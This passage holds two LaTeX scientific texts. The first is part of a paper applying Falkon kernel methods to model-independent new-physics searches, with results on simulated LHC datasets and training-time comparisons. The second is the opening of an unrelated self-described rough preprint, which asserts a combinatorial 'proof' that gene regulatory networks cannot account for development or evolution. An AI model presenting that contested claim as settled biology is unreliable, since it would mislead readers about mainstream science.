More complex functions cause the distribution of the test statistic to move to higher values (see Figure~\ref{fig:univ_tuning}).
On the $M$ direction, a stable configuration is eventually reached and this information can be used to select a proper trade-off value for $M$ (see for instance Figure~\ref{fig:univ_tuning_all}); conversely there is not clear indication on how to choose the values of $\sigma$ and $\lambda$.
The bandwidth $\sigma$ is related to the resolution of the model and its ability to fit statistical fluctuations in the data. To estimate the relevant scales of the problem and find a good trade-off between complexity and smoothness, we look at the distribution of the pairwise (Euclidean) distance in the reference data.
We then fix $\sigma$ approximately as the 90th percentile (see Appendix \ref{app:univ} and Figure \ref{fig:varsigma} for further details).
Finally, $\lambda$ determines the weight of the penalty term in the loss function, which constraint the magnitude of the trainable weights, and avoid instabilities during the training. We take $\lambda$ as small as possible so that the impact on the weight magnitude is minimum, while maintaining the algorithm numerically stable.
Summarizing, the hyper-parameter tuning protocol is composed by the following three steps:
\begin{itemize}
\item We consider a number of centers greater or equal to $\sqrt{\mathcal{N}}$,
with the criteria that more centers could improve accuracy but at the cost of losing efficiency.
\item We then fix $\sigma$ approximately as its 90th percentile of the pairwise distance distribution.
\item We take $\lambda$ as small as possible while maintaining a numerically stable algorithm.
\end{itemize}
Similarly to the tuning procedure introduced in Ref.~\cite{DAgnolo:2019vbw} for the neural networks, the outlined directives for hyper-parameters selection rely on the reference data alone, preserving model-independence.
We tested this heuristic performing several experiments on the toy scenario presented in Appendix \ref{app:univ}. In particular, we verified that it gives rise to instances that demonstrate good performances, in terms of sensitivity to new physics clues, across different types of signal. We also verified that the results are robust against small variations of the chosen hyper-parameters. When applied to the final experiments presented in the following section, we followed the prescription given above without any fine tuning that might introduce a bias that favors the specific dataset considered.
\paragraph{Assessing the algorithm performances}
Following Ref.~\cite{DAgnolo:2018cun}, in order to evaluate different models on benchmark cases it is useful to introduce the ideal significance $Z_{id}$., i.e., the value of the median Z-score that
is obtained by using the exact (ideal) likelihood ratio test statistics:
\begin{equation}
t_{id}(\cdot)=-2\log\frac{\mathcal{L}(\cdot,1)}{\mathcal{L}(\cdot,0)}.
\end{equation}
Typically, this quantity cannot be computed exactly since the likelihoods are not known analytically.
We can however obtain an accurate estimate $\hat{Z}_{id}$ using simulated data and model-dependent analyses that leverage what is known about the type of new physics in the data.
We will report how $\hat{Z}_{id}$ has been computed for every experiment.
\section{Experiments}\label{sec:exp}
In this section, we apply the proposed approach to three realistic simulated high energy physics datasets with an increasing number of dimensions. Each dataset is made of two classes: a reference class, containing events following the Standard Model, and a data class, made of reference events with the injection of a new physics signal. Each case includes a set of features given by kinematical variables as measured by the particle detectors (plus additional quantities when available, such as reconstructed missing momenta and b-tagging information) that we call \textit{low-level features}. From the knowledge of the intermediate physics processes, one can compute additional \textit{high-level features} that are functions of low-level ones and posses a higher discriminative power. \footnote{We borrow this nomenclature from Ref.~\cite{Baldi:2014kfa}.} The different features are used to test the flexibility of the model.
The pipeline for training and tuning our method is that described in Section \ref{sec:model}.
\subsection{Datasets}
Here, we briefly review some properties of the datasets, how $\hat{Z}_{id}$ is computed and the parameters chosen for the experiments. We refer the reader to Ref.~\cite{DAgnolo:2019vbw,Baldi:2014kfa} for further details.
\paragraph{DIMUON}
This is a five dimensional simulated dataset that was introduced in Ref.~\cite{DAgnolo:2019vbw} and it is composed of simulated LHC collision events producing two muons in the final state $pp\rightarrow\mu^+\mu^-$, at a center-of-mass energy of 13 TeV. The low-level features are the transverse momenta and pseudorapidities of the two muons and their relative azimuthal angle, i.e., $x=[p_{T1},p_{T2},\eta_1,\eta_2,\Delta\phi]$. We consider two types of new physics contributions: the first one is a new vector boson ($Z'$) for which we study different mass values ($m_{Z'}=200,300$ and 600 GeV); the second one is instead a non-resonant signal obtained by adding a four fermions contact interaction to the Standard Model lagrangian\\
\begin{equation}
\frac{c_W}{\Lambda}J_{L\mu}^aJ_{La}^{\mu}
\end{equation}
where $J_{La}^{\mu}$ is the $\rm{SU(2)}_L$ Standard Model current, the energy scale $\Lambda$ is fixed at $1$ TeV and the Wilson coefficient $c_W$ determining the coupling strength can be chosen between three values ($c_W=1, 1.2$ and 1.5 $\textrm{TeV}^{-2}$).
For both types of signal the invariant mass of the two muons is the most discriminant non trivial combination of the kinematic variables describing the system so we consider it as a high-level feature.
We fix $N(0)=2\times 10^4$ expected events in the reference hypothesis and the size of the reference sample is $\mathcal{N}_0=10^5$, unless specified otherwise. We vary the number of expected signal events in the range $N(S)\in[6,80]$. We selected the following hyper-parameters: $(M,\sigma,\lambda)=(2\times 10^4,3,10^{-6})$.
The ideal significance is estimated via a cut-and-count strategy in the invariant mass $m_{\ell\ell}$ distribution around $m_{Z'}$ for the resonant signal, while a likelihood ratio test on the binned $m_{\ell\ell}$ distribution is used for the non-resonant case.
\paragraph{SUSY}
The SUSY dataset \cite{Baldi:2014kfa} is composed of simulated LHC collision events in which the final state is made of two charged leptons $\ell\ell$ and missing momentum.
The latter is given, in the Standard Model, by two neutrinos coming from the fully leptonic decay of the two $W$ bosons.
The new physics scenario also includes the decay of a pair of electrically charged supersymmetric particles $\tilde{\chi}^\pm$ in two neutral supersymmetric particles $\tilde{\chi}^0 \tilde{\chi}^0$, undetectable and thus contributing to the missing transverse momentum, and two $W$ bosons. The dataset has 8 raw features and 10 high-level features.
Unless specified differently, we take $N(0)=10^5$ and $N_0=5\times 10^5$ and we vary the signal component in $N(S)\in[200,650]$.
We selected the following hyper-parameters:\\
$(M,\sigma,\lambda)=( 10^4,4.5,10^{-6})$ when using the raw features, increasing $\sigma$ to 5 when the high-level features are included.
The ideal significance is estimated by training a supervised classifier to discriminate between background and signal with a total of 2M examples, following the approach in Ref.~\cite{Baldi:2014kfa}. The significance is then estimated by a cut-and-count analysis on the classifier output.
\paragraph{HIGGS}
The HIGGS dataset \cite{Baldi:2014kfa} is made of simulated events in which the signal is given by the production of heavy Higgs bosons $H$. The final state is given by a pair of vector bosons $W^\pm W^\mp$ and two bottom quarks $b\bar{b}$ for both the reference and the signal components. The dataset has 21 raw feaures and 7 high-level feautures.
Unless specified differently, we choose $N(0)=10^5$, $N_0=5\times 10^5$ and we vary the signal component in $N(S)\in[1000,2500]$.
We take the following hyper-parameters:\\
$(M,\sigma,\lambda)=( 10^4,7,10^{-6})$ when using the raw features and $\sigma=7.5$ when the high-level features are included.
The ideal significance is estimated as in the previous case by using the output of a supervised classifier trained to separate signal from background.
\subsection{Results}
\paragraph{Sensitivity to new physics}
We discuss here the sensitivity of the model to the presence of new physics signals in the data.
The test statistic distribution under the reference hypothesis is empirically reconstructed using 300 toy experiments while 100 toys are used to reconstruct the distribution of the test statistic under the alternative new physics scenarios.
We show in Figures \ref{fig:Zobs_lowlevel} the median observed significance against the estimated ideal significance with Falkon trained on low-level features only. These experiments were performed by varying the signal fraction $N(S)/N(0)$ (at fixed luminosity) and the type of signal (the latter in the DIMOUN case only). The error bars represent the 68\% confidence interval. As expected for a model-independent strategy, the observed significance is always lower than what obtainable with a model-dependent approach. The loss of sensitivity is more pronounced in higher dimensions. Nevertheless, we observe in all cases a correlation between the observed and the ideal significance. In the DIMUON case, the observe significance seems to depend weakly on the type of new physics signal.
In Figure \ref{fig:dilep_palpha}, we show explicitly, for the Z' new physics with $m_{Z'}=300$ Gev, the estimated probabilities to find a discrepancy of at least $\alpha$ for a given value of $\hat{Z}_{id}$. Similar results are obtained with the other types of signal. To test the ability of the kernel-based approach to extract useful information from data, we show in Figure \ref{fig:Zobs_all} that adding the high-level features does not significantly improve the results, especially in higher dimensions. The plot includes the observed significance, with the bar showing the 68\% confidence interval and the grey area representing the region $Z^{(\textrm{all})}_{obs}=Z^{(\textrm{low-level})}_{obs} \pm \sigma$.
\begin{figure}[H]
\centering
\begin{subfigure}{.49\linewidth}
\includegraphics[width=\linewidth]{figures/ref_vs_sig_Dilep_low_300_40}
\end{subfigure}
\centering
\begin{subfigure}{.49\textwidth}
\includegraphics[width=\textwidth]{figures/ref_vs_sig_Higgs_low_2500}
\end{subfigure}
\caption{Distribution of the test statistics under the null and alternative hypotheses for the DIMUON (left) and HIGGS (right) datasets.}
\label{fig:exp_refsig}
\end{figure}
\begin{figure}[H]
\centering
\begin{subfigure}{.5\textwidth}
\centering
\includegraphics[width=\textwidth]{figures/dilep_ZobsvsZref}
\caption{}\label{fig:Zobs_lowlevel_dimuon}
\end{subfigure}%
\begin{subfigure}{.5\textwidth}
\centering
\includegraphics[width=\textwidth]{figures/susyhiggs_low}
\caption{}\label{fig:Zobs_lowlevel_susyhiggs}
\end{subfigure}
\caption{Observed significance against estimated ideal significance with low-level input features.}
\label{fig:Zobs_lowlevel}
\end{figure}
\begin{figure}[H]
\centering
\includegraphics[scale=.45]{figures/dilep_palpha}
\caption{Probability of finding a $\alpha = 2\sigma, 3\sigma, 5\sigma$ evidence for new physics as a function of the ideal significance.}
\label{fig:dilep_palpha}
\end{figure}
\begin{figure}[H]
\centering
\begin{subfigure}{.33\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/flk_dilep_5dvs6d}
\end{subfigure}%
\begin{subfigure}{.33\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/flk_susy_8dvs18d}
\end{subfigure}%
\begin{subfigure}{.33\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/flk_higgs_28dvs21d}
\end{subfigure}
\caption{Comparison of the observed significance obtained with Falkon using low level features only and all the features. }
\label{fig:Zobs_all}
\end{figure}
\paragraph{Comparison with neural networks}
To compare the kernel-based approach with the neural network implementation, we considered the results from Ref.~\cite{DAgnolo:2019vbw} for the DIMUON dataset, while we trained the latter on the SUSY and the HIGGS datasets. The considered neural network has 2 hidden layer with 10 neurons each and a weight clipping of $w_{\text{clip}}=0.87$ for SUSY, while it has 5 layers with 6 neurons each layer and $w_{\text{clip}}=0.65$ for HIGGS. Training is stopped after $3\times 10^5$ epochs. The results are summarized in Figure \ref{fig:Zobs_higgs_susy_NN}.
We see that, overall, the two approaches give similar results and the degradation of the sensitivity in high dimensions affects both.
We notice that in the DIMUON case, the kernel approach is slightly less sensitive, as it can be seen from the results presented in Section 5 of Ref.~\cite{DAgnolo:2019vbw} against Figures \ref{fig:Zobs_lowlevel_dimuon} and \ref{fig:dilep_palpha}. On the other hand, by looking at Figure \ref{fig:Zobs_higgs_susy_NN} we see that, for the HIGGS dataset, the kernel approach gives a higher observed significance while, for the SUSY dataset, the two methods give almost identical results.
On the other hand, the average training times, summarized in Table \ref{table:tr_times}, demonstrate an advantage in favor of the kernel approach of orders of magnitude. This also allows efficient training on single GPU machines and ensures high scalability for multi-GPU systems, as shown in Ref.~\cite{falkonlibrary2020}.
\begin{figure}[H]
\centering
\begin{subfigure}{.33\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/susy_flkvsnn}
\end{subfigure}%
\begin{subfigure}{.33\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/higgs_flkvsnn}
\end{subfigure}
\caption{Observed significance with the Falkon implementation against neural networks.}
\label{fig:Zobs_higgs_susy_NN}
\end{figure}
\begin{table}[H]
\centering
\begin{tabular}{l | lll}
\multicolumn{4}{c}{} \\
\toprule
Model & DIMUON & SUSY & HIGGS \\
\midrule
\bf{FLK} & \bf{(44.9 $\pm$ 3.4) s} & \bf{(18.2 $\pm$ 1.2) s} & \bf{(22.7 $\pm$ 0.4) s} \\
NN & (4.23 $\pm$ 0.73) h & (73.1 $\pm$ 10) h & (112 $\pm$ 9) h \\
\bottomrule
\end{tabular}
\caption{Average training times per single run with standard deviations (low level features and reference toys). Nota that time measured in hours (for NN) and seconds (for Falkon).}
\label{table:tr_times}
\end{table}
\paragraph{Learned density ratio}
As discussed in Section \ref{sec:framework}, the function approximated by using the weighted cross-entropy loss is the density ratio given in Eq.\eqref{nratio}. The latter can be directly inspected to characterize the nature of the ``anomalies" in the experimental data, if found significant. We report in Figure \ref{fig:lrplot} examples of the reconstructed density ratios as functions of certain high-level features (not given as inputs) together with estimates of the true ratios and extrapolations from the data used for training.
The learned density ratio is constructed by re-weighting the relevant high-level feature of the reference sample by $e^{f_{\hat{w}}(x)}$ (evaluated on the reference training data), binning it and taking the ratio with the same binned reference sample (unweighted). The toy density ratio is computed by replacing the numerator with the binned distribution of the high-level feature of the toy data sample. The ideal case is obtained in the same way but using a large ($\geq$1M) data sample instead.
\begin{figure}[H]
\centering
\begin{subfigure}{.45\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/lratio_zprime300}
\end{subfigure}
\hfill
\begin{subfigure}{.45\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/lratio_susy}
\end{subfigure}
\caption{Examples of reconstructed density ratios as a functions of high-level features (not given as inputs) for the DIMUON (left) and SUSY (right) datasets with new physics components in the data. Note that the SUSY dataset is normalized.}
\label{fig:lrplot}
\end{figure}
\paragraph{Size of the reference sample}
A larger reference sample yields a better representation of the reference model, which is crucial for a model-independent search. In Figure \ref{fig:ZobsvsN0}, we see that as long as $\mathcal{N}_0/N(0)\gtrsim 1$, the median observed significance is indeed stable. On the other hand, when the reference sample is too small ($\mathcal{N}_0/N(0)< 1$), we observe that the correspondence between the distribution of the test statistics and the $\chi^2$ distribution breaks down, see Figure \ref{fig:ref50k}. We observe this behavior for all the datasets. Then, it is in general a good approach to take a reference sample as large as possible keeping in consideration the computational cost of training on a possibly very large dataset.
\begin{figure}[H]
\begin{subfigure}{.49\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/susy_varR}
\caption{}\label{fig:ZobsvsN0}
\end{subfigure}
\begin{subfigure}{.49\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/ref_susy_low_ref_R50k}
\caption{}\label{fig:ref50k}
\end{subfigure}
\caption{Observed significance as a function of the size of the reference sample(left). Example of distribution of the test statistics given a small reference sample (right).}
\end{figure}
\paragraph{Resources}
The models based on Falkon have been trained on a server with the specifications reported in Table \ref{table:specs}. The NN experiments have been performed on a CPU farm with 32 computing nodes of Intel 64 bit dual processors, for a total amount of 712 core.
\begin{table}[H]
\centering
\begin{tabular}{l | l}
\multicolumn{2}{c}{} \\
\toprule
OS & Ubuntu 18.04.1 \\
CPU(s) & $2 \times$ Intel(R) Xeon(R) Silver 4116 CPU\\
RAM & $256$GB\\
GPU(s) & $2 \times$ NVIDIA Titan Xp (12 GB RAM)\\
CUDA version & $10.2$\\
\bottomrule
\end{tabular}
\caption{Specifications of the machine used to perform the experiments with Falkon.}
\label{table:specs}
\end{table}
\section{Conclusions}\label{sec:conclusions}
In this work we have presented a machine learning approach for model-independent searches applying kernel-based machine learning models to the ideas introduced in Ref.~\cite{DAgnolo:2018cun,DAgnolo:2019vbw}. Our approach is powered at its core by Falkon, a recent library developed for large scale applications of kernel methods. The focus of our work is on computational efficiency. Indeed, the original neural network proposal suffers from long training times which, combined with a toy-based hypothesis testing framework, makes the use of the algorithm challenging in high dimensional cases. Our model delivers comparable performances with a dramatic reduction in training times, as shown in Table \ref{table:tr_times}. As a consequence, the model can be efficiently trained on single GPU machines while possessing high scalability for multi-GPU systems \cite{falkonlibrary2020}. In contrast, the neural network implementation crucially relies on per toy parallelization, hence the need for large scale resources such as CPU/GPU clusters.
Similarly to Ref.~\cite{DAgnolo:2019vbw}, the applicability of the proposed method relies on a heuristic procedure to tune the algorithm hyper-parameters. A more in-depth understanding of the interplay between the expressibility of the model, its complexity and the topology of the input dataset could lead to more performant and better motivated alternatives to the current hyper-parameter selection. Further investigations are left for future work.
One possibility would be to find a more principled way to relate Falkon hyper-parameters to physical quantities. This could also allow the introduction of explicit quantities to be optimized, opening to the possibility of applying modern optimization techniques for the selection of the hyper-parameters.
Besides the challenges related to the algorithm optimization and regularization, an essential development for the application to realistic data analysis concerns the treatment of systematic uncertainties which has not been considered in the present work.
This aspect was successfully addressed on a recent work \cite{dAgnolo:2021aun} in the context of the neural network implementation.
Finally, the boost in efficiency provided by the model developed in this work could extend the landscape of applicability of this analysis strategy to other use cases, beyond the search for new physics, and to other domains. In particular, the application to multivariate data quality monitoring in real time is currently under study.
$$$$
\bf Acknowledgements: \rm Lorenzo Rosasco acknowledges the financial support of the European Research Council (grant SLING 819789), the AFOSR projects FA9550-18-1-7009, FA9550-17-1-0390 and BAA-AFRL-AFOSR-2016-0007 (European Office of Aerospace Research and Development), the EU H2020-MSCA-RISE project NoMADS - DLV-777826, and the Center for Brains, Minds and Machines (CBMM), funded by NSF STC award CCF-1231216. We gratefully acknowledge the support of NVIDIA Corporation for the donation of the Titan Xp GPUs and the Tesla k40 GPU used for this research. M.P. and G.G. are supported by the European Research Council (ERC) under the European
Union’s Horizon 2020 research and innovation program (grant agreement no 772369). A.W. acknowledges support from the Swiss National Science Foundation under contract 200021-178999 and PRIN grant 2017FMJFMW.
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\section{Introduction}
Gene Regulatory Networks (GRNs) consisting of combinations of transcription factors (TFs) and their cis promoters are assumed to be sufficient to direct the development of organisms. Mutations in GRNs are assumed to be the primary drivers for the evolution of multicellular life. Here it is proven that neither of these assumptions is correct. They are inconsistent with fundamental principles of combinatorics of bounded encoded networks. It is shown there are inherent complexity and control capacity limits for any gene regulatory network that is based solely on protein coding genes such as transcription factors. This result has significant practical consequences for understanding development, evolution, the Cambrian Explosion, as well as multi-cellular diseases such as cancer. If the arguments are sound, then genes cannot explain the development of complex multicellular organisms and genes cannot explain the evolution of complex multicellular life\footnote{This paper gives a more formal proof of the informal proof given in (Werner, E., "What Transcription Factors Can't Do: On the Combinatorial Limits of Gene Regulatory Networks" arXiv:1312.5565 [q-bio.MN], 2013.) However, the concepts and arguments are just as valid in the informal proof as in this more formal version. Even though the paper is still rough and somewhat incomplete, I put this out there for feedback from the life science, mathematics, and, more generally, the science communities. }
\section{Addressing networks}
An {\em addressing network} $N$ is an address-based network that consists of a set of nodes with addresses. The addresses define the network's edges or links when addresses of two nodes match. Formally, an addressing network is a tuple $N = (\mathbb{D, I, O, \mbox{\bf Match}, X})$ where $\mathbb{D}$ is a set of {\em nodes}. $\mathbb{I}$ is a set of {\em unitary In-addresses}. $\mathbb{O}$ is a set of {\em unitary Out-addresses}. $\mbox{\bf Match}\subseteq (\mathbb{O} \times \mathbb{I})$ is a {\em matching relation} between unitary Out-addresses and unitary In-addresses. $\mathbb{X}$ is a set of {\em actions}. Unitary addresses are considered primitive, indivisible units that combine to form address combinations. {\em Unitary In-addresses} are denoted by lower case letters, with or without subscripts, and an inverted wedge prefix: $^\vee \!\alpha_{1}, \dots, ^\vee \!\alpha_{m}$. {\em Unitary Out-addresses} are denoted by lower case letters with a wedge prefix: $^\wedge \!\beta_{1}, \dots, ^\wedge \!\beta_{k}$.
An {\em address combination} is a sequence of zero or more unitary addresses.
An {\em In-address combination} denoted by Greek letters with an inverted wedge prefix, e.g., $^\vee \!\alpha =\, ^\vee \!^{m}\alpha =\, ^\vee \!\alpha_{1}, \dots, ^\vee \!\alpha_{m}$ is a sequence of zero or more unitary In-addresses. The superscript $m$ denotes the length of the address combination.
An {\em Out-address combination}, denoted by Greek letters with a wedge prefix, is a sequence of zero or more unitary Out-addresses: $^\wedge \!\beta =\, ^\wedge \!^{k}\beta =\, ^\wedge \!\beta_{1}, \dots, ^\wedge \!\beta_{k}$. The superscript $k$ denotes the length of the address sequence.
Each node $\mathcal A$ in an addressing network $N$ has at least one In-address combination and one Out-address combination. The general form a node $\mathcal A =\, \fiadrA_{1}\ldots\fiadrA_{i},X,\pitcher\bf\beta_{1},\dots, \pitcher\bf\beta_{o}$. The {\em full In-address} ({\em full Out-address}) of a node is the sequence of unitary In-addresses (unitary Out-addresses) gotten by stringing together the In-address (Out-address) combinations of a node. While the distinction between address combinations and their full counterparts is useful for describing the general topology of addressing networks, in this article we use the full description for the In- and Out-addresses of nodes.
Let $^\vee \!\mathcal A$ denote the full {\em In-address} of node $\mathcal A$ which consists of a sequence of $m$ unitary addresses $^\vee \!\mathcal A =\, ^\vee \!^{m}\mathcal A =\, (^\vee \!\alpha_{1} \ldots ^\vee \!\alpha_{m})$ where the $^\vee \!\alpha_{i}$ in $^\vee \!\mathcal A$ are the unitary In-addresses. Let $^\wedge \!(\mathcal A) =\, ^\wedge \!\mathcal A =\, ^\wedge \!\,^{k}\mathcal A$ denote a full {\em Out-address} of node $\mathcal A$ which consists of a sequence of $k$ unitary Out-addresses: $^\wedge \!\mathcal A =\, (^\wedge \!\beta_{1} \ldots ^\wedge \!\beta_{k})$. The number of unitary addresses in a full address called the {\em address length} or {\em address size}. A node may have more than one full Out-address.
A unitary Out-address $^\wedge \!\alpha$ {\em matches} a unitary In-address $^\vee \!\beta$ if $(^\wedge \!\alpha, ^\vee \!\beta) \in \mbox{\bf Match}$, i.e., if $\mbox{\bf Match}(^\wedge \!\alpha, ^\vee \!\beta)$ holds.
The matching relation $\mbox{\bf Match}$ is specified externally by an {\em interpretive-executive system} (IES) that interprets and executes the network $N$. Thus, addressing networks are executable networks that are interpreted and executed by some external system we call the IES. Examples of addressing networks include mobile and non-mobile telephone systems, the Internet, the postal delivery service, and, as we shall see, gene regulatory networks (GRNs).
Let $X \in \mathbb{X}$ denote some action directive. A node $\mathcal A$ in a addressing network $N$ has the general form: $(^\vee \!\mathcal A, X, ^\wedge \!\mathcal A )$. Ignoring the action $X$ component, a node $\mathcal A$ with $m$ unitary In-addresses $^\vee \!^{m}\mathcal A $ and $k$ unitary Out-addresses $^\wedge \!^{k}\mathcal A$ is denoted variously as $(^\vee \!\alpha_{1}\ldots^\vee \!\alpha_{m}|^\wedge \!\beta_{1}\ldots^\wedge \!\beta_{k}) =\, ^\vee \!\,^{m} \mathcal A^\wedge \!\,^{k} =\, ^{m}\mathcal A^{k}$. Note, since In- and Out-addresses are sequences and not sets of unitary addresses, two nodes with the same action and same In- and Out-addresses need not be identical.
An {\em Out-node} in a network is any node with at least one unitary Out-address. An {\em In-node} is any node with at least one unitary In-address.
A {\em unitary directed link} $(^\vee \!\alpha\, \rightarrow\, ^\wedge \!\beta)$ is formed from node $\mathcal A$ to node $\mathcal{B}$ in network $N$ if $\exists\,^\wedge \!\alpha_{i} \in\, ^\wedge \!\mathcal A =\, (^\wedge \!\alpha_{1} \ldots ^\wedge \!\alpha_{k})$ and $\exists\, ^\vee \!\beta_{j} \in\, ^\vee \!\mathcal{B} =\, (^\vee \!\beta_{1} \ldots ^\vee \!\beta_{m}) $ such that $\mbox{\bf Match}(^\wedge \!\alpha, ^\vee \!\beta)$, i.e., $(^\wedge \!\alpha_{i}, ^\vee \!\beta_{j}) \in \mbox{\bf Match}$.
All references to links or edges will denote unitary directed links. Note, a unitary In-address may match more than one unitary Out-address. And, a unitary Out-address may match many unitary In-addresses. Hence, multiple links may form between Out-nodes and In-nodes.
Nodes with no unitary Out-addresses are called {\em terminal nodes} and denoted by $\cat\,^{m}\mathcal A\pitcher\,^{0} =\, ^{m}\mathcal A^{0} =\, !\mathcal A$. Nodes with no unitary In-addresses are called {\em inaccessible nodes} denoted by $\cat\,^{0}\mathcal A\pitcher\,^{k} =\, ^{0}\mathcal A^{k}$. For example, the node $^{0}\mathcal A^{0}$ is both inaccessible and terminal. The simplest accessible Out-node is of the form $^\vee \!\,^{1} \mathcal A^\wedge \!\,^{1} =\,^{1}\mathcal A^{1} =\, (^\vee \!\alpha\, | \,^\wedge \!\beta)$
where an Out-node $\mathcal A$ has only one unitary In-address $^\vee \!\alpha$ and only one unitary Out-address $^\wedge \!\beta$.
Given a node $\mathcal A$ in a network $N$ with a nonempty In-address $\cat\,^{m}\mathcal A$ for $m > 0$, if there exists no node in $N$ with a matching Out-address, then the node is {\em inaccessible within} $N$. Such nodes may be accessible to external networks or signals.
\section{Ordered and unordered address combinatorics}
Addresses in an addressing network are formed by combinations of unitary Out-addresses and combinations of basic In-addresses. Generally, in combinatorics given $n$ units that form combinations, if the units are ordered, e.g., where $(^\vee \!\alpha,^\vee \!\beta,^\vee \!\theta) \neq (^\vee \!\beta,^\vee \!\alpha,^\vee \!\theta)$ then for address combinations of length $k$ there are $n^k$ possible combinations. If the address combination are unordered, e.g., where $(^\vee \!\alpha,^\vee \!\beta,^\vee \!\theta) = (^\vee \!\beta,^\vee \!\alpha,^\vee \!\theta)$, then there are
$\left( \begin{array}{c} n \\ k \end{array} \right) = \frac{n!}{k!(n - k)!}$ possible unordered address combinations. Since number of possible links in an encoded addressing network $N$ is bounded by the number of possible addresses, the large numbers of both ordered and unordered address combinations appear to be sufficient to enable the generation of large, complex networks. However, we will show that in the case of bounded encoded addressing networks these seemingly ample address combinations are illusory based on mistaken implicit, combinatorial presuppositions.
\section{Combinatoric limits of encoded addressing networks}
There are fundamental combinatorial properties that can limit the control capacity of encoded networks.
Let $N^{E}$ be a sequential encoding of a network $N$ in a language $L$.
If $\mathcal A$ is a node in $N$ then $\mathcal A^{E}$ is its encoding in $N^{E}$. The encoded address $\mbox{\bf Match}$ relationships determine the encoded links between nodes.
Assume there are a finite number $n$ of unitary Out-addresses, $^\wedge \!\beta_{1}\ldots^\wedge \!\beta_{n}$, encoded in the network $N^{E}$. Assume that each unitary Out-address $^\wedge \!\beta$ contained in the set of unitary Out-addresses $\mathbb{O}$ of $N$
is encoded only once in $N^{E}$. Assume each encoded Out-node $\mathcal A^{E}$
in $N^{E}$ has an encoded Out-address $^\wedge \!\mathcal A =\, \pitcher\,^{k}\mathcal A$ consisting of a combination of at least $k \geq 1$ unitary Out-addresses. We now show that given theses assumptions there are at most $n/k$ encoded Out-address combinations of length $k$ in $N^{E}$. Hence, by definition, there are at most $n/k$ encoded Out-nodes $\mathcal A$ in the encoded network $N^{E}$.
\begin{thm} If $N^{E}$ contains $n$ encoded Out-addresses and if there are no repeats of encoded unitary Out-addresses in $N^{E}$ and if each Out-node contains at least $k$ unitary Out-addresses, then the maximum number of Out-address combinations in an encoded network $N^{E}$ is $n/k$.
\label{thm:OutAdr}\end{thm}
\begin{proof}
Standard combinatorics assumes that the basic elements that form combinations can be repeated in combinations. Thus, normally it can be assumed that unitary addresses which are the elements that form address combinations can be repeated in those combinations. For example, $(^\wedge \!\alpha,^\wedge \!\beta,^\wedge \!\theta)$ and $(^\wedge \!\alpha,^\wedge \!\beta,^\wedge \!\delta)$ are different combinations. However, these combinations repeat both the unit $^\wedge \!\alpha$ and the unit $^\wedge \!\beta$. Under our assumption of no repeats of unitary Out-addresses, if $^\wedge \!\alpha$ and $^\wedge \!\beta$ are encoded only once in an encoded network $N^{E}$ then there can be no encoding in $N^{E}$ of both combinations $(^\wedge \!\alpha,^\wedge \!\beta,^\wedge \!\theta)$ and $(^\wedge \!\alpha,^\wedge \!\beta,^\wedge \!\delta)$. Hence, if $k$ is the minimum Out-address length of each node $\mathcal A^{E}$ in $N^{E}$ and if $n$ is the total number of encoded unitary Out-addresses in $N^{E}$ then the encoded network $N^{E}$ contains at most $n/k$ encoded Out-address combinations.
\end{proof}
\begin{cor} If $N^{E}$ contains $n$ encoded Out-addresses and if there are no repeats of encoded unitary Out-addresses in $N^{E}$ and if each Out-node contain at least $k$ unitary Out-addresses, then the maximum number of Out-nodes in an encoded network $N^{E}$ is $n/k$.
\end{cor}
\begin{proof}
Follows immediately from Theorem \ref{thm:OutAdr} by definition of Out-node.
\end{proof}
If $k = 1$ there can be at most $n$ encoded Out-addresses, and $n$ Out-nodes each with only a single unitary Out-address.
The Out-nodes of $N^{E}$ are called the {\em control nodes} of the network $N$ because only Out-nodes can initiate and direct action. They form the fundamental {\em control backbone} of the network. Thus, given the assumptions above, the number of possible effective control nodes in $N^{E}$ is $n/k$. The {\em control capacity} of an encoded network $N^{E}$ is a function of the number of control nodes, i.e., Out-nodes in the network. While the number of Out-nodes puts no limits on the number of In-nodes, it puts severe restrictions on the possible control capacity of the network $N^{E}$. Note, these results hold for any encoded addressing network, not just for gene regulatory networks (GRNs) discussed below.
\section{Combinatoric limits of virtual addressing networks}
Relative to a set of encoded In-addresses, the Out-nodes and links defined by the encoded Out-addresses form the encoded portion of the network $N$ which we call the {\em primary encoded network} $N^{E}$. The question is to what extent can network addresses and links be formed during the execution of the network. {\em Virtual addresses} and {\em virtual links} are addresses and links that are not explicitly encoded in $N^{E}$ and are instead generated as the network is executed by the IES. We now show that a virtual network generated by combinations of encoded addresses cannot extend the control capacity of the primary encoded network.
A {\em virtual address} $^\wedge \!\mathcal{V}$ in a network is combination of unitary addresses not explicitly encoded as a sequence in some Out-node in the network. The {\em virtual network} generated by a network $N^{E}$ consists of those links $(^\wedge \!\mathcal{V} \rightarrow\, ^\vee \!\mathcal{D}^{E})$ where the Out-address combination $^\wedge \!\mathcal{V}$ is virtual and it matches the In-address $^\vee \!\mathcal{D}^{E}$ of some encoded In-node $\mathcal{D}^{E}$ in $N^{E}$. Let $^\wedge \!\mathcal{V} = (^\wedge \! \alpha_{1}, \ldots, ^\wedge \! \alpha_{k})$ be any virtual Out-address that is not encoded directly in $N^{E}$.
\subsection{Informal Proof}
By assumption each unitary Out-address $^\wedge \!\alpha_{i}$ in $^\wedge \!\mathcal{V}$ occurs once and only once in some encoded node $\mathcal{B}$ in $N^{E}$.
